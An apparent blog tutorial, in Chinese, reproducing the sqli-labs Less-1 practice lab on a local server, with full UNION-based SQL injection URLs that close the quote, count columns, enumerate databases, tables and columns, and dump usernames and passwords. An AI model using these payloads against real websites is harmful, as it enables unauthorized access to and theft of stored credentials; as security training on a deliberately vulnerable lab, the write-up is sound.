复现sql注入漏洞

Less-1 字符型注入

页面如下:

我们先输入“?id=1'”看看结果:

页面显示错误信息中显示提交到sql中的“1'”在通过sql语句构造后形成“'1" LIMIT 0, 1”,其中多了一个“'”,那么,我们的任务就是——逃脱出单引号的控制,闭合单引号或注释掉单引号。

在MySql中,注释符有--、#、/***/、*/等等,这时我们在“1'”后面加上“#”试一试

成功注释单引号,现在进行联合查询,则需要知道联合查询的列数,使用“order by”检测列数,先测试是否有1列,再测试是否有4列,直到测试出正确列数,由下图可知,该联合查询有三列

现在使第一张表查询为空,则可查询出第二、三张表。“127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,2,3%20--+”

此时,将“2,3”换成MySql自带的函数,依然执行。“127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,user(),database()--+”

可知,第一个表库名为“security”,现在目标注入管理员账号密码,则首先需要管理员表表名与列名

查看数据库:127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

查看security数据库的数据表:127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

查看users表的列:127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+

查看数据:127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值